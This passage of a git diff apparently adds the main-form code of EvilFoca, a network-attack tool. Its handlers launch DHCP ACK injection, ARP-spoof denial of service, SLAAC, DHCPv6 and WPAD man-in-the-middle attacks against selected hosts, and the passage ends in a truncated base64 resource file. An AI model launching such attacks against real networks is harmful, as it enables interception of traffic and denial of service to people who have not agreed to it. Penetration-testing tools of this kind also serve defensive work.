Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()).ToString(); + else + gateway = textBoxGateway.Text; + string dns = textBoxDNS.Text; + string MAC = string.Empty; + if (radioButtonComputerWithMAC.Checked) + MAC = textBoxDHCPAckMAC.Text; + DHCPACKInjectionAttack attack = new Data.DHCPACKInjectionAttack(AttackType.DHCPACKInjection, gateway, dns, MAC); + Program.CurrentProject.data.AddAttack(attack); + AddAttackToListViewEx(attack); + Program.LogThis("Performing a IPv6 DHCP ACK Injection, waiting for new computers", Logs.Log.LogType.DHCPACKInjection); + } + } + + private bool CheckDHCPACKConfigurationIpv4() + { + IPAddress addr; + if (!checkBoxUseAsGateway.Checked && !IPAddress.TryParse(textBoxGateway.Text, out addr)) + { + ShowMessage("Invalid gateway address", 1000, FormMessage.IconType.Info); + return false; + } + if (!IPAddress.TryParse(textBoxDNS.Text, out addr)) + { + ShowMessage("Invalid DNS address", 1000, FormMessage.IconType.Info); + return false; + } + if (radioButtonComputerWithMAC.Checked && !IsValidMAC(textBoxDHCPAckMAC.Text)) + { + ShowMessage("Invalid MAC address", 1000, FormMessage.IconType.Info); + return false; + } + return true; + } + + private bool IsValidMAC(string mac) + { + try + { + PhysicalAddress.Parse(mac.ToUpper().Replace(":", "-")); + return true; + } + catch + { + return false; + } + } + + private void copyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (treeView.SelectedNode != null) + Clipboard.SetText(treeView.SelectedNode.Text); + } + + private void cMenuNeighbors_Opening(object sender, CancelEventArgs e) + { + if (treeView.SelectedNode == null) + copyToolStripMenuItem.Visible = false; + else + copyToolStripMenuItem.Visible = true; + } + + private void checkBoxUseAsGateway_CheckedChanged(object sender, EventArgs e) + { + labelFakeGateway.Enabled = textBoxGateway.Enabled = !(sender as CheckBox).Checked; + labelIPRouting.Visible = buttonEnableIPRouting.Visible = !Program.CurrentProject.data.settings.IPRoutingEnabled && (sender as CheckBox).Checked; + bool r = Program.CurrentProject.data.settings.IPRoutingEnabled; + bool t = r; + } + + private void radioButtonComputerWithMAC_CheckedChanged(object sender, EventArgs e) + { + labelMAC.Enabled = textBoxDHCPAckMAC.Enabled = radioButtonComputerWithMAC.Checked; + } + + private void exitToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void btStartInvalidMacSpoof_Click(object sender, EventArgs e) + { + string error_InvalidIP = "Invalid IP Address"; + string error_notIpv4 = "This attack only allow IPv4 addresses"; + string error_macTargetNotFound = "The MAC address of the target has not been found"; + string error_macSpoofedNotFound = "The MAC address has not been found"; + + IPAddress target = null; + PhysicalAddress macTarget = null; + IPAddress spoofedIp = null; + PhysicalAddress macSpoofed = null; + + try + { + target = IPAddress.Parse(tbTargetSpoofedIpv4.Text); + } + catch + { + ShowMessage(error_InvalidIP, 1000, FormMessage.IconType.Error); + return; + } + + try + { + spoofedIp = IPAddress.Parse(tbIpSpoofedIpv4.Text); + } + catch + { + ShowMessage(error_InvalidIP, 1000, FormMessage.IconType.Error); + return; + } + + if ((target.AddressFamily != System.Net.Sockets.AddressFamily.InterNetwork) || (spoofedIp.AddressFamily != System.Net.Sockets.AddressFamily.InterNetwork)) + { + ShowMessage(error_notIpv4, 1000, FormMessage.IconType.Error); + return; + } + + // Cogemos la mac del target de los vecinos + macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + // En caso de que no la tengamos, le hacemos un ARP para coger su MAC + if (macTarget == null) + { + string strMac = Utils.GetMacUsingARP(target.ToString()); + if (string.IsNullOrEmpty(strMac)) + { + ShowMessage(error_macTargetNotFound, 1000, FormMessage.IconType.Error); + return; + } + + macTarget = PhysicalAddress.Parse(strMac.ToUpper()); + } + + // Cogemos la mac del target de los vecinos + macSpoofed = Program.CurrentProject.data.GetNeighborMAC(spoofedIp); + // En caso de que no la tengamos, le hacemos un ARP para coger su MAC + if (macTarget == null) + { + string strMac = Utils.GetMacUsingARP(spoofedIp.ToString()); + if (string.IsNullOrEmpty(strMac)) + { + ShowMessage(error_macSpoofedNotFound, 1000, FormMessage.IconType.Error); + return; + } + macSpoofed = PhysicalAddress.Parse(strMac.ToUpper()); + } + + + Data.InvalidMacSpoofAttackIpv4Attack invalidMacSpoofAttack = new InvalidMacSpoofAttackIpv4Attack( + new Target(target, macTarget), + new Target(spoofedIp, macSpoofed), + AttackType.InvalidMacSpoofIpv4); + + Program.CurrentProject.data.AddAttack(invalidMacSpoofAttack); + invalidMacSpoofAttack.Start(); + AddAttackToListViewEx(invalidMacSpoofAttack); + Program.LogThis("Performing a DoS attack to " + invalidMacSpoofAttack.t1.ip.ToString() + " with " + invalidMacSpoofAttack.t2.ip.ToString(), Logs.Log.LogType.DoS); + } + + private void pbInvMacSpoofTarget_Click(object sender, EventArgs e) + { + FormSelectIPs fSel = new FormSelectIPs(PanelTargets.TypeList.Ipv4, Data.Data.neighbors, false, null, null); + fSel.ShowDialog(); + + SynchronizedCollection lstIps = fSel.GetSelectedIPs(); + + if (lstIps.Count == 1) + { + tbTargetSpoofedIpv4.Text = lstIps[0].ToString(); + } + } + + private void pbInvMacSpoofedIp_Click(object sender, EventArgs e) + { + FormSelectIPs fSel = new FormSelectIPs(PanelTargets.TypeList.Ipv4, Data.Data.neighbors, false, null, null); + fSel.ShowDialog(); + + SynchronizedCollection lstIps = fSel.GetSelectedIPs(); + + if (lstIps.Count == 1) + { + tbIpSpoofedIpv4.Text = lstIps[0].ToString(); + } + } + + private void tabMitm_SelectedIndexChanged(object sender, EventArgs e) + { + } + + private void tabMitmIpv4_SelectedIndexChanged(object sender, EventArgs e) + { + switch (tabMitmIpv4.SelectedIndex) + { + case 0: + help.AddControl(new ControlHelp.MITMIpv4.ArpSpoofing.PanelArpSpoof()); + break; + case 1: + break; + case 2: + break; + } + } + + private void tabMitmIpv4_Selected(object sender, TabControlEventArgs e) + { + switch (tabMitmIpv4.SelectedIndex) + { + case 0: + help.AddControl(new ControlHelp.MITMIpv4.ArpSpoofing.PanelArpSpoof()); + break; + case 1: + help.AddControl(new ControlHelp.MITMIpv4.DHCP_ACK_Injection.PanelDHCPAckInjection()); + break; + case 2: + help.AddControl(new ControlHelp.MITMIpv4.Wpad.PanelWpad()); + break; + } + } + + private void tabMitm_Selected(object sender, TabControlEventArgs e) + { + switch (tabevilfoca.SelectedIndex) + { + case 0: + help.AddControl(new ControlHelp.evilfoca.NeighborAdvSpoofing.PanelNeighAdvSpoofing()); + break; + case 1: + help.AddControl(new ControlHelp.evilfoca.SLAAC.PanelSLAAC()); + break; + case 2: + help.AddControl(new ControlHelp.evilfoca.DHCPv6.panelDHCPv6()); + break; + case 3: + help.AddControl(new ControlHelp.evilfoca.WpadV6.PanelWpadV6()); + break; + } + } + + private void panelMainOptions_Selected(object sender, TabControlEventArgs e) + { + switch (panelMainOptions.SelectedIndex) + { + case 0: + tabMitm_Selected(null, null); + break; + case 1: + tabMitmIpv4_Selected(null, null); + break; + case 2: + tabDoSIpv6_Selected(null, null); + break; + case 3: + tabDoSIpv4_Selected(null, null); + break; + case 4: + help.AddControl(new ControlHelp.DNSHijack.PanelDNSHijack()); + break; + } + } + + private void tabDoSIpv6_Selected(object sender, TabControlEventArgs e) + { + switch (tabDoSIpv6.SelectedIndex) + { + case 0: + help.AddControl(new ControlHelp.DoSIPV6.SLAAC.PanelDoSSlaac()); + break; + } + } + + private void tabDoSIpv4_Selected(object sender, TabControlEventArgs e) + { + switch (tabDoSIpv4.SelectedIndex) + { + case 0: + help.AddControl(new ControlHelp.DoSIpv4.InvalidMACSpoof.PanelInvalidMac()); + break; + } + } + + private void buttonEnableIPRouting_Click(object sender, EventArgs e) + { + ProcessStartInfo processInfo = new ProcessStartInfo(); + processInfo.Verb = "runas"; + processInfo.FileName = Application.ExecutablePath; + processInfo.Arguments = "ActivateIPRouting"; + try + { + Process.Start(processInfo); + } + catch + { + // Si el usuario cancela la elevación de permisos salta una excepcion + } + } + + private void btNetworkDiscovery_Click(object sender, EventArgs e) + { + if (networkDiscovery != null) + { + if (networkDiscovery.IsScanning) + { + if (tNetworkDiscovery != null) + { + tNetworkDiscovery.Abort(); + tNetworkDiscovery = null; + } + this.btNetworkDiscovery.Image = Properties.Resources.SearchStart; + } + else + { + FormSelectSubNet fsubMask = new FormSelectSubNet(); + if (fsubMask.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + if (fsubMask.IsMySubnetSelected) + { + tNetworkDiscovery = new Thread(new ThreadStart(networkDiscovery.StartNetworkDiscoveryJustOneTime)); + tNetworkDiscovery.IsBackground = true; + this.btNetworkDiscovery.Image = Properties.Resources.SearchStop; + tNetworkDiscovery.Start(); + } + else + { + tNetworkDiscovery = new Thread(new ParameterizedThreadStart(networkDiscovery.StartNetworkDiscoveryJustOneTime)); + tNetworkDiscovery.IsBackground = true; + this.btNetworkDiscovery.Image = Properties.Resources.SearchStop; + tNetworkDiscovery.Start(new IPAddress[] { fsubMask.FromIP, fsubMask.ToIP }); + } + ShowMessage("Discovering new neighbors", 0, FormMessage.IconType.Info); + } + } + } + } + + private void btSearchRouters_Click(object sender, EventArgs e) + { + Thread tNeighborsCheckIfRoute = new Thread(new ThreadStart(_CheckIfNeighborsRoutePackets)); + tNeighborsCheckIfRoute.IsBackground = true; + tNeighborsCheckIfRoute.Start(); + + ShowMessage("Scanning for routers", 0, FormMessage.IconType.Info); + } + + public static void ShowMessage(string sMessage, int retardo, FormMessage.IconType iconType) + { + FormMessage fMessage = new FormMessage(sMessage, retardo, iconType); + fMessage.StartPosition = FormStartPosition.CenterParent; + fMessage.Show(Program.formMain); + } + + private void _CheckIfNeighborsRoutePackets() + { + IList lstNeighbor = new List(Data.Data.neighbors); + foreach (Neighbor neighbor in lstNeighbor) + Program.CurrentProject.data.CheckIfNeighborRoutesPackets(neighbor); + } + + private void btStart_IPv6DHCP_Click(object sender, EventArgs e) + { + // El gateway no se puede asignar mediante DHCPv6. Unicamente se puede el dns? + IPAddress dns = IPAddress.Parse(tbDNS_IPv6DHCP.Text); + IPAddress ipRange = IPAddress.Parse(tbIPRange_IPv6DHCP.Text); + + DhcpIPv6 attack = new Data.DhcpIPv6(AttackType.DHCPIpv6, dns, ipRange); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + AddAttackToListViewEx(attack); + } + + private void btMitmSLAAC_Click(object sender, EventArgs e) + { + try + { + if (IPAddress.Parse(tbSlaacMitmPrefix.Text).GetAddressBytes().Length != 16) + { + ShowMessage("Prefix must be an Ipv6 address", 1000, FormMessage.IconType.Error); + return; + } + } + catch + { + ShowMessage("Invalid Prefix", 1000, FormMessage.IconType.Error); + return; + } + List lstTargets = panelTargetSLAACMitm.GetTargetsList(); + + + if (lstTargets.Count == 0) + ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); + else + { + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + + MitmAttack attack = new Data.MitmAttack(null, new Target(target, macTarget), AttackType.SlaacMitm) { prefix = (IPAddress.Parse(tbSlaacMitmPrefix.Text).GetAddressBytes()) }; + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis(String.Format("Performing a MITM (SLAAC) attack between {0} and Attacker gateway ", attack.t2.ip.ToString()), Logs.Log.LogType.NeighborSpoofing); + } + + panelTargetSLAACMitm.ClearTargets(); + } + + } + + private void btAddNeighbor_Click(object sender, EventArgs e) + { + addNeighborToolStripMenuItem_Click(null, null); + } + + + private void ForzePrintTreeview() + { + // Lo fuerza mediante eventos que saltaran al intentar agregar vecinos que ya están en memoria + for (int i = 0; i < Data.Data.neighbors.Count; i++) + Program.CurrentProject.data.AddNeighbor(Data.Data.neighbors[i]); + } + + private void tbSearchFilter_TextChanged(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(tbSearchFilter.Text)) + { + isFiltering = false; + tbSearchFilter.BackColor = Color.White; // Color cuando no hay ningun filtro + lbFilter.BackColor = Color.White; + + // Se fuerza a rescribir el treeview + ForzePrintTreeview(); + + } + else + { + tbSearchFilter.BackColor = Color.Red; // Color cuando el fitro se ha modificado y no está aplicado + lbFilter.BackColor = Color.Red; + } + } + + private void tbSearchFilter_KeyPress(object sender, KeyPressEventArgs e) + { + strFilter = tbSearchFilter.Text; + + if (e.KeyChar == '\r') + { + if (!string.IsNullOrEmpty(tbSearchFilter.Text)) + { + treeView.Invoke(new MethodInvoker(delegate + { + treeView.Nodes[mainNode].Nodes[neighborsNode].Nodes.Clear(); + treeView.Nodes[mainNode].Nodes[routersNode].Nodes.Clear(); + tbSearchFilter.BackColor = Color.ForestGreen; // Color cuando el fitro se ha aplicado + lbFilter.BackColor = Color.ForestGreen; + })); + isFiltering = true; + + // Se fuerza a rescribir el treeview + ForzePrintTreeview(); + } + } + + } + + private void lbFilter_Click(object sender, EventArgs e) + { + tbSearchFilter.Focus(); + } + + private void btActAsDNS_Click(object sender, EventArgs e) + { + } + + private void btnWpadAttack_Click(object sender, EventArgs e) + { + List lstTargets = wpadTargetPanel.GetTargetsList(); + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + if (macTarget == null) + return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? + + MitmAttack attack = new Data.MitmAttack(new Target(Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()), null), new Target(target, macTarget), AttackType.WpadIPv4); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis("Performing a MITM (WPAD) attack " + attack.t2.ip.ToString(), Logs.Log.LogType.WpadIPv4); + } + wpadTargetPanel.ClearTargets(); + } + + private void btnWpadv6Attack_Click(object sender, EventArgs e) + { + List lstTargets = wpadv6TargetPanel.GetTargetsList(); + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + if (macTarget == null) + return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? + + MitmAttack attack = new Data.MitmAttack(new Target(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Program.CurrentProject.data.GetDevice()), null), new Target(target, macTarget), AttackType.WpadIPv6); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis("Performing a MITM (WPAD) attack " + attack.t2.ip.ToString(), Logs.Log.LogType.WpadIPv6); + } + wpadv6TargetPanel.ClearTargets(); + } + } +} diff --git a/EvilFoca/FormMain.resx b/EvilFoca/FormMain.resx new file mode 100644 index 0000000..57bab99 --- /dev/null +++ b/EvilFoca/FormMain.resx @@ -0,0 +1,2645 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + False + + + 448, 17 + + + 17, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACQ + GAAAAk1TRnQBSQFMAgEBDwEAAegBGwHoARsBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAAUADAAEBAQABCAYAARAYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0wAAewB/z0AAfMBSQHq + AwAElwIABE8CAARJIAAFTwFyAfMBBwFyAkkBcgFJAW0CAAGXAQgBmAGXAgABTwF4AZcBTwIAAU8BcgFQ + AUkgAAFQBJgBcgFJAXIFmAHqAXIBAAGXAggBlwIAAVYCmAFPAgABTwJyAUkgAAFQBJgBlwFQBpgBTwFy + AQAElwIAAZcBVgFQAU8CAARPBQAB/wEIAnIBCAH/FQABcgNQAnIBeAGYAXgBUAFJA3IXAAEIBJgBCBgA + Af8BCAFPApgBSQHzAQABSQFyBQABBwoAAeoHAAGXAQgDmAFyGAAB/wEIAZcBCAF4AU8B8wEAAUkBcgUA + AwcC7wH3AZIC7AHrAm0HAAGXAQgDmAFyFQABlwNyAXgBmAEIAXIBlwFyAU8DcgkAAu8MAAEIAZgCCAGY + AQgVAAGXBQgBmAFyBZgCchYAAf8BCAKXAQgB/xUAAZcECAGYAnIFmAFyAXMHAAO0Aa0mAASXAXIBmAH0 + AQgBeAFQAXIBlwJyCAAB2wHdAQkBtDAAAfQCcgkAAdwC3QG0MQABmAH/CQAC3AHbAbRmAAL/AvIB8AUH + AbwB8AHxAfML/wL0B/8B8wEaAXkBdAG8AvIB8AJ0AfMC/xEAAf8B9AHxAQ8B7AERBA4BDwEXAZIBBwHy + B/8B9gEaAZkBmgKZAfIE/wEaAXkBWAE3AVIBcwGSAewB6gFRATEBeQEaAv8EAAH3AuwC6wJtAe0EAAH/ + AfQB6gHvARIDDgMQARcBAAFFAfIC/wH2A/8B9AGZAVIEWQF5AfMD/wGaAzgBegEbAfMB8QEcAVICOAF6 + ARsB/wMAAfMB7wH/BPQB/wHtAfMDAAP/AeoBDwEOAREBQwEVAkMBFAEOAUMB9AH/AQkBtQEHAbwBtQHP + ARwBUgE4AlkBOAFYAfMD/wEaAVkBOAFZAcMD/wEbAVIBMAExARoB9gH/AwAB/wHsAe8BBwG8AQcBvAH3 + AewFAAH/AQACCwIOAUMD6gMUAW0B/wEJAbQBuwG0Aq0B9wJSA1kBOAEaBP8BGwFSAZkE/wH2AXQBIgFE + ARsB/wYAAfEB7wG8AfAB7AHwBgAB/wEOAQsBDwEOARMBCwEeAREBFQEQAw4BAAH/AbQBuwG0AbMBrQG0 + AXQBUgE4AlkBOAGZAv8BAAH/AfQB7AEHBf8B7wFDAREB8QH/AgAB8QIHAu8BvAHvAfcBBwGSAvcBkgHw + AgABDgFEAR4CEALpARIB6QIPAQ4BHgEOAv8BuwG6AbsBtAGtAc8BmQFSAXoCmgJ6Av8BAAL/Ae8B7QX/ + Ae8BEQFDAfMB/wIAAe8B8gPwAQcCvAEHAfACvAHwAesCAAEOAg8BEAFDA0YBRAEPAUUBAQIOAbwB/wEJ + AbQBuwG0AbMBrQG8ARoBmQN4ARwB8wH/AgAB/wHyARIB8wP/AfQBkgEQAW0C/wIAAe8B8QqLAfAB7AIA + AQ8BQwERAhMERwFEAUUBAQIPAbwB/wHzAbsBCQG6AbQBtQHwAXMBUANXAVYBBwH/AgAC/wH3AZIB9AL/ + AbwBEwEUAfEB/wMAAQcB8QGLCLQBiwHwAewCAAEPAUQBbQHrAW0EFwJHAUYBQwERAv8B9gGaApkBkwF0 + AW8BmAFQAVYCVwFWAZgB9AMAAf8B8wHvAbwBGgH0Ae8BFAEHAv8DAAEHAfEBiwa0AbUBtAGLAfAB7AIA + Af8BRAPsAW8BbgLjAxcC6gEAAf8B9gGaAlMBTQFMAUYBBwFQAVYDVwF4AfMEAAH/AfABHAFSAZkBbQHs + AfMB/wQAAQcB8QGLBLQDtQG0AYsB8AHsAwABCwEcApIBHAGTAe0BFgPjAUYBbQERAv8BGgNTAU0BRgGT + AXIBUAFWAlcBeAG8BAAB/wHyAVIBWAFSARQBBwH/BQABvAHxAYsDtAS1AbQBiwHwAe0EAAFFA+8DlAMW + AR4BAAEQAv8BGwF1AlMBTQFGAW8BmAF4AZkCCAGYAfAEAAH/AbwBbQFLAUoBEwEHAf8FAAG8AfEBiwK0 + AbUCuwO1AYsB8AHtBQABbgHvAbwElAEWAUQBAAEOAQAD/wF1AlMBTQFMAW8B8gHzA/8C9gQAAf8BBwEU + AUMCEwG8Af8FAAHwAfIKiwHxAZIGAAHsAesB7QGTAW8BEgEUAeoB/wIAA/8BGwKaAXUBmgEbB/8EAAH/ + AfABFAEAARAB7AHzAf8FAAHwAfQC8gjxAfMB9xEAEP8EAAH/AfQB7wFDAW0B8QL/BQAB8QPwArwEBwTv + AQAPDwFDEP8QAAL/AfQB8gHwArwBBwK8AfAB8QHyAfQC/wEAAQcB9wHrAm0E7AHrA20BEgEPEP8EbwGU + AfQBAAH0AZQGbwHzAf8BvAH3AesB7QESBA4BDwFGAe8BvAHzAf8BAAHyAfABVQEzAXIB9wHvAW0CDwEO + AUMB7AHqAQ8R/wGTAUAB9AL/AQAB/wH0AY4BQAHpAUABbwHzAv8B9AETAewBQwIOAQ8CEAEPARcBRAFF + AfIB/wEAAfIB8AKYA+8B7QHsA+sB7AHqAQ8Q/wEAAfQBjgG9Af8DAAH0AW8C6QFpAfQB/wEAAv8B8gFD + AQ8BDgEVBEMBEwEPARQB9AH/AQADFAQVA0MDEQIPBP8BwwHsAbsB/wH2ARwB7AEZBP8CAAHzAWkBlAO9 + AY4BRgHpAUYBtwH0AwAB/wEOAQ8BFQIOARQD6gITAUMB8gH/Ad4BDwLrA+wC6wFtAeoCRAJDAd4E/wEa + ARIBtAH0AZMBEgGLARkE/wIAAfQBjgFvAvQB8gFpAukBaQH0BAAB8AEPAQsBDwEOARUBCwERARUBFAER + Aw4CAAERBgcC7wGSAm4BEgFnAQAE/wEaARIBtQEaAW4B6gEJBf8DAAG9AZMB9AEAAfQBaQHpAT8BlAH0 + BAABDwERAQsBDwEQAkUBEQHpAQ8BDgEPAQsBDgIAAREBBwHvAesCbQPqARIBbQHtARIBZwEABP8BGgET + AW0B6wESAbQG/wMAAfQBlAH0Af8B9AFGAekBRgHzBQABDgIPARABFQNGAUQBDwFEAQECDgH0AQABEQEH + Ae8BEQYAAUMBkgHqAWcBAAT/ARoBFAETAeoBEgG0AfQF/wQAAb0BkwH0AbcC6QFpAfQFAAEPAhEBEwFE + A0cBRgEVARQB6QIPAfMBAAERAQcB7wERBgABQwGSAeoBZwEABP8BGgEUAZEBvAFzAW0BCQX/BAAB9AKO + AWkB6QFGAbcB9AUAAQ8BRANtAhcCRgJHAUUCEQH/AQABEQEHAe8BEQYAAUMB9wFtAWcBAAT/ARoBEgG1 + Af8BmgHrAbQF/wQAAfQBlAFpAUAB6QFpAfQGAAHvAUQD7AFuAesBbwHjAxcBRAERAgABEQEHAe8BEQYA + ARUB9wFtAWcBAAT/ARoBEwGRAfABHAHqAbQF/wUAAfMBRgHpAT8BkwH0BwABRAHtApIBFgGTAe0BFgPj + AUYB7wH3AQABEQG8AQcBFAIQBA8BEwH3AW0BZwEABP8BGgISAesBEwFsAQkF/wUAAfQBjgHpAUYB9AgA + AfABbwLvAZMBlAUWAQsBAAFDAQABEQK8AgcC7wL3ApIB9wFtAWcBAAT/AcMB7wLtAfcB8Ab/BgAB8wFA + AW8B9AkAAQcBbgHvAQcElAEWAUQB/wFtAf8BAAFnAfcD8QHwAbwEBwH3AeoBZwEAEP8GAAH0AY4BkwH0 + CgAB/wFtAewDkwFuARUBEwHxBAABZwoAAW0CABD/GAAB/wsAA/8OAAHsAgcB9wHtAesB9AYAAv8B9AHx + AewCZgFsAfcB8AHzAfQB/wIABSQF7AUkAwAB9AH/AQAG/wkAAfICvAHsAe0B7AHyAf8HAAGLA2UCbAJl + AfMEAAYkAiMHJAMAAfMEAAj/BwABvAHsAgAB/wH0Af8EAAH/BWUBswGQAYsCZQG1AwAB7ATxASQCIwFL + BPEB/wQAAfMB7QIAB3kJAAEHAe0EAAH/BAAFZQGtAboCtANlAfACAAHsBPEDJAEABPEB/wQAAfMBcQFy + AZEBcgVxAUkJAAEHAe0IAAG1A2UGugG0AWUBpgFlAgAB7AM2AfEBJAIjAUUB8QMkAf8EAAH3Ae0B9wHq + ARIBcQFsAXEBbAERAUMJAAHvAe0IAAJlAaYBtAPcAtsCugGLAqYBvAEAAewB8gLbAfIBJAIjAUwB8gEk + AXQBJAH/BQAB8AHyARIB6gFyAZEB8QEOAREBEAkAAfcBkgcAAf8BpgKKAbQF3AO6AYoBpgGLAfQB6gHx + AnQB8gEkA0wB8gEkAXQBJAHwAfEDAAHzAZIDmAGdAZEBuwFyAUMBEAkAAvcHAAH0AooBiwGzAQkCGQGz + AboC3AG6AYoBtAGmARwBJAHsAiQG8gMkAUQBJAMAAbwB7AGYAuwCvALsARMBFAkAAe0B9wcAAfQBigGL + A7MB4gG6ARkBuwHhAwkBugGKAf8CJAHtCPIBBwFEAUwBmQMAAbwB7AG7AZIB7AHvAZIBmAORAwAC/wMA + Af8B7QGYAf8EAAHzAgABigS0AboB/wH0AxkDCQG7AQAB/wIkAe0B8gXzAbwBRAFMAZMEAAH0AfcBCAHw + AfIB9AH/BwAB8QEAAQgBAAH/AZ0CMwGXAf8CAAH0AQABCAEAAbMBtAO6AQkB3AEJAf8DGQIJAfMCAAH/ + AiQB7QHyAUsBBwHzAbwBRAFMAZMFAAHzAfQLAAH0AQAB/wEAAv8BMwL6ATMB/wHzAQABmAEAAZgBAAHy + AroE2wH/AvQEGQQAAUwCJAHtAZkBSwG8AUQBTAGTBgAC9AsAAfMBAAH/AQAB9AH/AZcC5AGXAv8BAAEI + AQABngIAAv8BCQHiAf8BCQLcAfQB4gIZAfQEAAJMAiQB7AHvAUQBTAGTBwAC9AwAAfQBAAHwAQAB/wGe + 